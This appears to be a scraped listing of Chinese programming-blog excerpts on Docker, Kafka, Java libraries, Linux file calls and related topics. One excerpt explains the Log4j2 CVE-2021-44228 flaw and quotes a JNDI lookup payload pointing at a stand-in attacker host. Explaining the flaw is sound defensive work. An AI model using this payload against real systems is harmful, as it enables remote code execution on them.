- docker基础
xinruoqianqiu
Linux共同学习docker容器运维
1、简介docker官方网站:https://www.docker.comdocker官方文档:https://docs.docker.comdocker镜像仓库:https://hub.docker.com2、名词解释镜像(image):docker镜像就好比是一个模板,可以通过这个模板来创建容器。tomcat镜像==>run==>tomcat01容器(提供服务器)。通过这个镜像可以创建多个容器
- Java中的Apache POI库:Excel操作从未如此简单
墨瑾轩
一起学学Java【一】javaapacheexcel
关注墨瑾轩,带你探索编程的奥秘!超萌技术攻略,轻松晋级编程高手技术宝库已备好,就等你来挖掘订阅墨瑾轩,智趣学习不孤单即刻启航,编程之旅更有趣❓引言嗨,小伙伴们!今天我们要聊的是一个非常实用的Java库——ApachePOI。如果你经常需要处理Excel文件,那么这个库绝对是你的好帮手。ApachePOI可以让你轻松地读取、写入、甚至编辑Excel文件,而且这一切都不需要安装MicrosoftOff
- Excel生成Sql工具.java
JokerPan12
javaexcelsql
今天分享一个使用excel表格一键生成建表语句sql工具1.前置所需依赖cn.hutoolhutool-all5.1.0org.apache.poipoi-ooxml4.1.2org.projectlomboklombokprovided2.新建Excel文件并设计表结构ps:字段属性值0为非空1为主键3.新建工具类packagecom.ruoyi.generator.util;importcn.
- DAO 类的职责与设计原则
绝顶少年
原型模式
1.DAO的核心职责DAO(DataAccessObject,数据访问对象)的主要职责是封装对数据的访问逻辑,但它与纯粹的数据实体类(如DTO、POJO)不同,也与Service业务逻辑层不同。DAO应该做什么?✅数据访问操作:执行数据库CRUD(增删改查)操作提供查询接口(如findById,findAll,save,delete)处理数据库事务(通常由@Transactional管理)✅数据转
- 远程服务器下载llama模型
jianbiao1483
服务器运维
适用于有防火墙不能直接从HF上下载的情况然后,你可以克隆Llama-3.1-8B-Instruct模型:gitclonehttps://你的用户名:你的访问令牌@hf-mirror.com/meta-llama/Llama-3.1-8B-Instruct用户名,令牌来自huggingface官网注意:要提前获取模型下载的access(大概在这个地方填写表单)
- SpringBoot HttpURLConnection、Apache HttpClient、OkHttp和Spring RestTemplate的基本使用方法
又夏天
springspringbootapache
HttpURLConnection是Java标准库中提供的用于发送HTTP请求和接收HTTP响应的类。它可以用于创建HTTP连接、设置请求方法、请求头、请求体等,并可以获取响应状态码、响应头、响应体等信息。以下是HttpURLConnection的基本使用方法:创建URL对象,指定要访问的URL地址。调用URL对象的openConnection方法,返回HttpURLConnection对象。设置
- Java基础 3.11
anlogic
javadosjava开发语言
1.Java背景Java由gosling在1995年发布Java版本企业常用Java8Java11Java原sun公司后在2009年被甲骨文公司收购2.Java重要特点Java语言是面向对象的跨平台的解释性的强类型的Java需要先编译再用解释器解释再运行而C或C++则无需解释直接编译后运行先用JVM解释后才可运行(JVMJava虚拟机Javavirtualmachine)JVM被包含在JDK中te
- 控制服务器无线接入,系统管理服务器及云无线接入网络下信息传输方法
KTF001
控制服务器无线接入
技术领域本发明涉及通信领域,尤其涉及一种系统管理服务器及一种云无线接入网络下信息传输方法。背景技术现有基于云无线接入网(CloudRadioAccessNetwork,C-RAN)架构的小基站布网,多以增加系统覆盖范围和系统容量为主,在布网过程中多选择尽量减少小区间重复覆盖区域的方法来增加整个系统的覆盖范围。这样在相同数量的基站条件下,系统的整个覆盖范围会做到最大。但是在工业生产的环境下,系统的覆
- Kafka(Go)教程(三)---Kafka 相关概念介绍
探索云原生
Kafkakafka
来自:指月https://www.lixueduan.com原文:https://www.lixueduan.com/post/kafka/03-kafka-introduction/本文为Kafka入门教程,主要包括相关概念介绍如:消息引擎、Kafka相关术语、角色定位及其版本选择等等。1.消息引擎Kafka系列相关代码见GithubKafka是什么呢?用一句话概括一下:ApacheKafka是
- Kafka、RocketMQ、Pulsar对比
小诸葛的博客
kafkarocketmq分布式
ApachePulsar、ApacheKafka和ApacheRocketMQ都是流行的分布式消息系统,它们在架构设计、功能特性和适用场景上各有不同。以下是Pulsar相较于Kafka和RocketMQ的主要区别:1.架构设计Pulsar:分层架构:Pulsar采用计算与存储分离的设计,Broker(计算层)负责消息的路由和处理,ApacheBookKeeper(存储层)负责持久化存储。这种分离使
- Kafka系列教程 - Kafka 运维 -8
长河
Kafkakafka运维分布式
1.Kafka单点部署1.1.下载解压进入官方下载地址:http://kafka.apache.org/downloads,选择合适版本。(opensnewwindow)解压到本地:$tar-xzfkafka_2.13-3.9.0.tgz$cdkafka_2.13-3.9.0现在您已经在您的机器上下载了最新版本的Kafka。1.2.启动服务器以KRaft启动,不要需要zookeeper生成集群UU
- Linux文件和目录操作函数
贪心的鬼
Linux基本操作linux
Linux文件和目录操作函数1.文件操作1.1stat/lstat函数1.1.1描述1.1.2获取文件大小1.1.3判断文件类型1.1.4lstat函数1.2access函数1.3chmod函数和chown函数1.4truncate函数2.目录操作2.1目录属性相关的函数2.2目录遍历相关的函数3.dup、dup2和fcntl函数2021年5月22日,袁老、吴老走了,愿他们在下一个轮回里平安幸福。
- Maven安装与配置完整指南
遥不可及~~斌
mavenjava
Maven安装与配置完整指南1.前言ApacheMaven是一个强大的项目管理和构建工具,广泛应用于Java项目开发。它通过POM(ProjectObjectModel)文件管理项目依赖,并提供了标准化的构建流程。本文详细介绍Maven的下载、安装、环境配置、镜像加速、IDE集成以及常见问题解决,帮助开发者快速搭建Maven环境。2.准备工作2.1系统要求项目要求JDK版本JDK1.7+(推荐JD
- LINUX命令基础记录七(系统API和库函数:stat、access、truncate、link、symlink、readlink、unlink)
chexitianxia
C语言LIUNX
1、系统能同时打开最大的文件数[root@VM_0_5_centostest2]#moreopenmax.c#include#include#include#include#includeintmain(){intnum=3;charfilename[128]={0};while(1){sprintf(filename,"temp_%04d",num++);if(open(filename,O_R
- Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)
白8080
log4j
漏洞描述:当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中假如日志中包含有语句${jndi:ldap:attacker:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该url:ldap:attacker:1099/exp受害主机访问伪造的ldap服务,访问恶意java.class类,执行恶意代码。如果ldap没有解析成功会自动访问http
- unix文件和目录操作的函数stat()、fstat()、lstat()、access()、umask()函数
lxh_hust
unix高级编程学习accessunixstructfile测试path
(1)stat()函数:通过文件名filename来获取文件的属性值表头文件:#include#include定义函数:intstat(constchar*file_name,structstat*buf);函数说明:通过文件名filename获取文件信息,并保存在buf所指的结构体stat中返回值:执行成功则返回0,失败返回-1,错误代码存于errno结构体stat相关的内容:structsta
- 让领导一眼心动!政务大数据看板的「体制内审美」指南
大树前端老司机
政务大数据
1.符合体制审美的色彩搭配在政务大数据看板的设计中,色彩搭配至关重要。政府机构通常偏好使用稳重且专业的配色方案,如蓝色、灰色和白色等中性色调,以传递出严肃和可靠的形象。为了确保色彩的一致性和专业性,设计师应遵循品牌指南中的色彩规范,并参考国家或地方的官方色彩标准。例如,在中国,红色常被用于突出重要信息或标题,象征着权威和正式性。此外,考虑到无障碍设计(Accessibility),设计师还需确保文
- 照片选择和相机拉起鸿蒙示例代码
本文原创发布在华为开发者社区。介绍本示例基于photoAccessHelper类接口实现了选择图片的最大数量、设置要选择的媒体文件类型、设置选择文件最大数量等效果,其中也提供了图片压缩能力。照片选择和相机拉起源码链接效果预览使用说明点击选择图片即可进行图片选择或拍照获取图片。实现思路构造函数selectAndCompressPicture(),实现选择图片、对图片进行压缩,并将压缩后的图片转换为B
- Apache Doris 2.1.9 版本正式发布
亲爱的社区小伙伴们,ApacheDoris2.1.9版本已正式发布。2.1.9版本对湖仓一体、倒排索引、半结构化数据类型、查询优化器、执行引擎、存储管理进行了若干改进优化。欢迎大家下载使用。官网下载:https://doris.apache.org/downloadGitHub下载:https://github.com/apache/doris/releases行为变更AuditLog中的SQLH
- Github 2025-03-30 php开源项目日报 Top10
老孙正经胡说
githubphp开源Github趋势分析开源项目PythonGolang
根据GithubTrendings的统计,今日(2025-03-30统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下:开发语言项目数量PHP项目10TypeScript项目1Coolify:开源自助云平台创建周期:1112天开发语言:PHP,Blade协议类型:ApacheLicense2.0Star数量:10527个Fork数量:567次关注人数:10527人贡献人数:80人Op
- Can not read response from server. Expected to read 4 bytes, read 0 bytes before connection was unex
十方来财
java
Cannotreadresponsefromserver.Expectedtoread4bytes,read0bytesbeforeconnectionwasunexpectedlylost.查看超时showglobalvariableslike'wait_timeout';showglobalvariableslike'interactive_timeout';showVARIABLESlike
- Java集合List快速实现重复判断的10种方法深度解析
.猫的树
Javajavalist开发语言集合
文章目录引言:为什么需要关注List重复判断?一、基础实现方法1.1暴力双循环法1.2HashSet法二、进阶实现方案2.1StreamAPI实现2.2TreeSet排序法三、高性能优化方案3.1并行流处理3.2BitSet位图法(仅限整数)四、第三方库实现4.1Guava工具类4.2ApacheCommons五、性能测试对比5.1测试环境配置5.2百万级数据测试结果六、最佳实践指南6.1选择依据
- SpringKafka消息发布:KafkaTemplate与事务支持
程序媛学姐
Spring全家桶Javalinqc#java开发语言
文章目录引言一、KafkaTemplate基础二、消息序列化三、事务支持机制四、错误处理与重试五、性能优化总结引言在现代分布式系统架构中,ApacheKafka作为高吞吐量的消息系统,被广泛应用于事件驱动应用开发。SpringKafka为Java开发者提供了与Kafka交互的简便方式,特别是通过KafkaTemplate抽象,极大地简化了消息发布过程。本文将探讨SpringKafka的消息发布机制
- Mybatis 如何自定义缓存?
冰糖心书房
Mybatis源码系列mybatis缓存java
MyBatis通过实现org.apache.ibatis.cache.Cache接口来自定义二级缓存,我们可以集成各种第三方缓存(如Redis,Ehcache,Memcached等)或实现自己特定的缓存逻辑。以下是自定义MyBatis缓存的步骤和要点:1.实现org.apache.ibatis.cache.Cache接口我们需要创建一个Java类来实现org.apache.ibatis.cache
- Dynamics 365 Business Central Item Unit of Measure BC ERP中物料多单位详解
jmsail
Dynamics365BusinessCentralD365BCERPDynamics365
#BCERP##Dynamics365ERP##Navision#Dynamics365BusinessCentral中很好支持物料的多单位。如:一瓶饮料,一箱饮料等。Item-->BaseUnitofMeasure物料的基本单位就是大家在实施企业中沟通中用到的基本单位,常用于计算单位成本的单位。Item-->SalesUnitofMeasure产品的销售单位。如刚才提到的饮料,如果是制造企业,往
- 在Linux运行没问题,但是在docker中运行程序,报错:could not initialize class sun.awt.X11FontManagager
山林竹笋
DockerFontConfigEasyExcel空指针
【现象】在Docker中运行Java应用程序时,如果遇到couldnotinitializeclasssun.awt.X11FontManager的错误。【原因分析】出现这种问题,通常与图形环境有关,因为这个类依赖于X11图形系统,但Docker中不存在对应图形化环境有关的环境。【环境说明】操作系统:KylinV4(aarch64)JDK版本:openJDK1.8.0Docker容器:docker
- Java:历久弥新的编程语言王者
javascript
引言自1995年SunMicrosystems发布Java以来,这门"一次编写,到处运行"的编程语言已经深刻改变了软件开发行业。近30年过去,尽管新兴语言层出不穷,Java依然稳居TIOBE编程语言排行榜前三名,在企业级开发、移动应用和大数据领域占据主导地位。本文将深入探讨Java的核心特性、技术生态以及未来发展方向。一、Java的核心竞争力1.跨平台能力Java最著名的特性是"WriteOnce
- Kafka和RocketMQ零拷贝对比
小诸葛的博客
mq
在ApacheRocketMQ和ApacheKafka中,零拷贝(ZeroCopy)是一种优化数据传输的技术,旨在减少数据在用户空间和内核空间之间的拷贝,从而提升性能。两者的实现方式有所不同,分别基于操作系统的不同特性。下面详细说明RocketMQ和Kafka中零拷贝的实现原理和区别:1.Kafka中的零拷贝Kafka主要使用sendfile系统调用来实现零拷贝,适用于高吞吐量的大文件传输场景,例
- IMAP(Internet Message Access Protocol)
Wlq0415
计算机网络服务器网络运维
IMAP是用于从邮件服务器同步和管理邮件的协议,支持多设备实时同步,默认使用143端口(加密时为993端口)。核心功能✅双向同步:客户端(如手机、电脑)的操作(删除、移动、标记已读)会实时同步到服务器,反之亦然。✅多设备协作:在手机、电脑、平板上查看同一邮箱,状态保持一致。✅服务器存储:邮件始终保留在服务器上,本地仅缓存部分内容(可节省设备空间)。✅高级管理:支持文件夹分类、邮件搜索、标签标记等。
- Tomcat之容器概览2
Lydia Bess
java程序人生spring学习struts
Tomcat容器的Server模块有管理容器的启动和关闭、管理了容器内的服务组件Service、管理了全局JNDI资源的功能,对Tomcat容器的生命周期管理有重要意义。Tomcat的服务组件则是Tomcat的两个核心组件连接器和servlet容器之间的桥梁。本文会对Tomcat容器的服务器组件Server和服务组件Service进行介绍。服务器组件Server我们知道Tomcat容器启动之后就可
- java类加载顺序
3213213333332132
java
package com.demo;
/**
* @Description 类加载顺序
* @author FuJianyong
* 2015-2-6上午11:21:37
*/
public class ClassLoaderSequence {
String s1 = "成员属性";
static String s2 = "
- Hibernate与mybitas的比较
BlueSkator
sqlHibernate框架ibatisorm
第一章 Hibernate与MyBatis
Hibernate 是当前最流行的O/R mapping框架,它出身于sf.net,现在已经成为Jboss的一部分。 Mybatis 是另外一种优秀的O/R mapping框架。目前属于apache的一个子项目。
MyBatis 参考资料官网:http:
- php多维数组排序以及实际工作中的应用
dcj3sjt126com
PHPusortuasort
自定义排序函数返回false或负数意味着第一个参数应该排在第二个参数的前面, 正数或true反之, 0相等usort不保存键名uasort 键名会保存下来uksort 排序是对键名进行的
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8&q
- DOM改变字体大小
周华华
前端
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml&q
- c3p0的配置
g21121
c3p0
c3p0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。c3p0的下载地址是:http://sourceforge.net/projects/c3p0/这里可以下载到c3p0最新版本。
以在spring中配置dataSource为例:
<!-- spring加载资源文件 -->
<bean name="prope
- Java获取工程路径的几种方法
510888780
java
第一种:
File f = new File(this.getClass().getResource("/").getPath());
System.out.println(f);
结果:
C:\Documents%20and%20Settings\Administrator\workspace\projectName\bin
获取当前类的所在工程路径;
如果不加“
- 在类Unix系统下实现SSH免密码登录服务器
Harry642
免密ssh
1.客户机
(1)执行ssh-keygen -t rsa -C "xxxxx@xxxxx.com"生成公钥,xxx为自定义大email地址
(2)执行scp ~/.ssh/id_rsa.pub root@xxxxxxxxx:/tmp将公钥拷贝到服务器上,xxx为服务器地址
(3)执行cat
- Java新手入门的30个基本概念一
aijuans
javajava 入门新手
在我们学习Java的过程中,掌握其中的基本概念对我们的学习无论是J2SE,J2EE,J2ME都是很重要的,J2SE是Java的基础,所以有必要对其中的基本概念做以归纳,以便大家在以后的学习过程中更好的理解java的精髓,在此我总结了30条基本的概念。 Java概述: 目前Java主要应用于中间件的开发(middleware)---处理客户机于服务器之间的通信技术,早期的实践证明,Java不适合
- Memcached for windows 简单介绍
antlove
javaWebwindowscachememcached
1. 安装memcached server
a. 下载memcached-1.2.6-win32-bin.zip
b. 解压缩,dos 窗口切换到 memcached.exe所在目录,运行memcached.exe -d install
c.启动memcached Server,直接在dos窗口键入 net start "memcached Server&quo
- 数据库对象的视图和索引
百合不是茶
索引oeacle数据库视图
视图
视图是从一个表或视图导出的表,也可以是从多个表或视图导出的表。视图是一个虚表,数据库不对视图所对应的数据进行实际存储,只存储视图的定义,对视图的数据进行操作时,只能将字段定义为视图,不能将具体的数据定义为视图
为什么oracle需要视图;
&
- Mockito(一) --入门篇
bijian1013
持续集成mockito单元测试
Mockito是一个针对Java的mocking框架,它与EasyMock和jMock很相似,但是通过在执行后校验什么已经被调用,它消除了对期望 行为(expectations)的需要。其它的mocking库需要你在执行前记录期望行为(expectations),而这导致了丑陋的初始化代码。
&nb
- 精通Oracle10编程SQL(5)SQL函数
bijian1013
oracle数据库plsql
/*
* SQL函数
*/
--数字函数
--ABS(n):返回数字n的绝对值
declare
v_abs number(6,2);
begin
v_abs:=abs(&no);
dbms_output.put_line('绝对值:'||v_abs);
end;
--ACOS(n):返回数字n的反余弦值,输入值的范围是-1~1,输出值的单位为弧度
- 【Log4j一】Log4j总体介绍
bit1129
log4j
Log4j组件:Logger、Appender、Layout
Log4j核心包含三个组件:logger、appender和layout。这三个组件协作提供日志功能:
日志的输出目标
日志的输出格式
日志的输出级别(是否抑制日志的输出)
logger继承特性
A logger is said to be an ancestor of anothe
- Java IO笔记
白糖_
java
public static void main(String[] args) throws IOException {
//输入流
InputStream in = Test.class.getResourceAsStream("/test");
InputStreamReader isr = new InputStreamReader(in);
Bu
- Docker 监控
ronin47
docker监控
目前项目内部署了docker,于是涉及到关于监控的事情,参考一些经典实例以及一些自己的想法,总结一下思路。 1、关于监控的内容 监控宿主机本身
监控宿主机本身还是比较简单的,同其他服务器监控类似,对cpu、network、io、disk等做通用的检查,这里不再细说。
额外的,因为是docker的
- java-顺时针打印图形
bylijinnan
java
一个画图程序 要求打印出:
1.int i=5;
2.1 2 3 4 5
3.16 17 18 19 6
4.15 24 25 20 7
5.14 23 22 21 8
6.13 12 11 10 9
7.
8.int i=6
9.1 2 3 4 5 6
10.20 21 22 23 24 7
11.19
- 关于iReport汉化版强制使用英文的配置方法
Kai_Ge
iReport汉化英文版
对于那些具有强迫症的工程师来说,软件汉化固然好用,但是汉化不完整却极为头疼,本方法针对iReport汉化不完整的情况,强制使用英文版,方法如下:
在 iReport 安装路径下的 etc/ireport.conf 里增加红色部分启动参数,即可变为英文版。
# ${HOME} will be replaced by user home directory accordin
- [并行计算]论宇宙的可计算性
comsci
并行计算
现在我们知道,一个涡旋系统具有并行计算能力.按照自然运动理论,这个系统也同时具有存储能力,同时具备计算和存储能力的系统,在某种条件下一般都会产生意识......
那么,这种概念让我们推论出一个结论
&nb
- 用OpenGL实现无限循环的coverflow
dai_lm
androidcoverflow
网上找了很久,都是用Gallery实现的,效果不是很满意,结果发现这个用OpenGL实现的,稍微修改了一下源码,实现了无限循环功能
源码地址:
https://github.com/jackfengji/glcoverflow
public class CoverFlowOpenGL extends GLSurfaceView implements
GLSurfaceV
- JAVA数据计算的几个解决方案1
datamachine
javaHibernate计算
老大丢过来的软件跑了10天,摸到点门道,正好跟以前攒的私房有关联,整理存档。
-----------------------------华丽的分割线-------------------------------------
数据计算层是指介于数据存储和应用程序之间,负责计算数据存储层的数据,并将计算结果返回应用程序的层次。J
&nbs
- 简单的用户授权系统,利用给user表添加一个字段标识管理员的方式
dcj3sjt126com
yii
怎么创建一个简单的(非 RBAC)用户授权系统
通过查看论坛,我发现这是一个常见的问题,所以我决定写这篇文章。
本文只包括授权系统.假设你已经知道怎么创建身份验证系统(登录)。 数据库
首先在 user 表创建一个新的字段(integer 类型),字段名 'accessLevel',它定义了用户的访问权限 扩展 CWebUser 类
在配置文件(一般为 protecte
- 未选之路
dcj3sjt126com
诗
作者:罗伯特*费罗斯特
黄色的树林里分出两条路,
可惜我不能同时去涉足,
我在那路口久久伫立,
我向着一条路极目望去,
直到它消失在丛林深处.
但我却选了另外一条路,
它荒草萋萋,十分幽寂;
显得更诱人,更美丽,
虽然在这两条小路上,
都很少留下旅人的足迹.
那天清晨落叶满地,
两条路都未见脚印痕迹.
呵,留下一条路等改日再
- Java处理15位身份证变18位
蕃薯耀
18位身份证变15位15位身份证变18位身份证转换
15位身份证变18位,18位身份证变15位
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
蕃薯耀 201
- SpringMVC4零配置--应用上下文配置【AppConfig】
hanqunfeng
springmvc4
从spring3.0开始,Spring将JavaConfig整合到核心模块,普通的POJO只需要标注@Configuration注解,就可以成为spring配置类,并通过在方法上标注@Bean注解的方式注入bean。
Xml配置和Java类配置对比如下:
applicationContext-AppConfig.xml
<!-- 激活自动代理功能 参看:
- Android中webview跟JAVASCRIPT中的交互
jackyrong
JavaScripthtmlandroid脚本
在android的应用程序中,可以直接调用webview中的javascript代码,而webview中的javascript代码,也可以去调用ANDROID应用程序(也就是JAVA部分的代码).下面举例说明之:
1 JAVASCRIPT脚本调用android程序
要在webview中,调用addJavascriptInterface(OBJ,int
- 8个最佳Web开发资源推荐
lampcy
编程Web程序员
Web开发对程序员来说是一项较为复杂的工作,程序员需要快速地满足用户需求。如今很多的在线资源可以给程序员提供帮助,比如指导手册、在线课程和一些参考资料,而且这些资源基本都是免费和适合初学者的。无论你是需要选择一门新的编程语言,或是了解最新的标准,还是需要从其他地方找到一些灵感,我们这里为你整理了一些很好的Web开发资源,帮助你更成功地进行Web开发。
这里列出10个最佳Web开发资源,它们都是受
- 架构师之面试------jdk的hashMap实现
nannan408
HashMap
1.前言。
如题。
2.详述。
(1)hashMap算法就是数组链表。数组存放的元素是键值对。jdk通过移位算法(其实也就是简单的加乘算法),如下代码来生成数组下标(生成后indexFor一下就成下标了)。
static int hash(int h)
{
h ^= (h >>> 20) ^ (h >>>
- html禁止清除input文本输入缓存
Rainbow702
html缓存input输入框change
多数浏览器默认会缓存input的值,只有使用ctl+F5强制刷新的才可以清除缓存记录。
如果不想让浏览器缓存input的值,有2种方法:
方法一: 在不想使用缓存的input中添加 autocomplete="off";
<input type="text" autocomplete="off" n
- POJO和JavaBean的区别和联系
tjmljw
POJOjava beans
POJO 和JavaBean是我们常见的两个关键字,一般容易混淆,POJO全称是Plain Ordinary Java Object / Pure Old Java Object,中文可以翻译成:普通Java类,具有一部分getter/setter方法的那种类就可以称作POJO,但是JavaBean则比 POJO复杂很多, Java Bean 是可复用的组件,对 Java Bean 并没有严格的规
- java中单例的五种写法
liuxiaoling
java单例
/**
* 单例模式的五种写法:
* 1、懒汉
* 2、恶汉
* 3、静态内部类
* 4、枚举
* 5、双重校验锁
*/
/**
* 五、 双重校验锁,在当前的内存模型中无效
*/
class LockSingleton
{
private volatile static LockSingleton singleton;
pri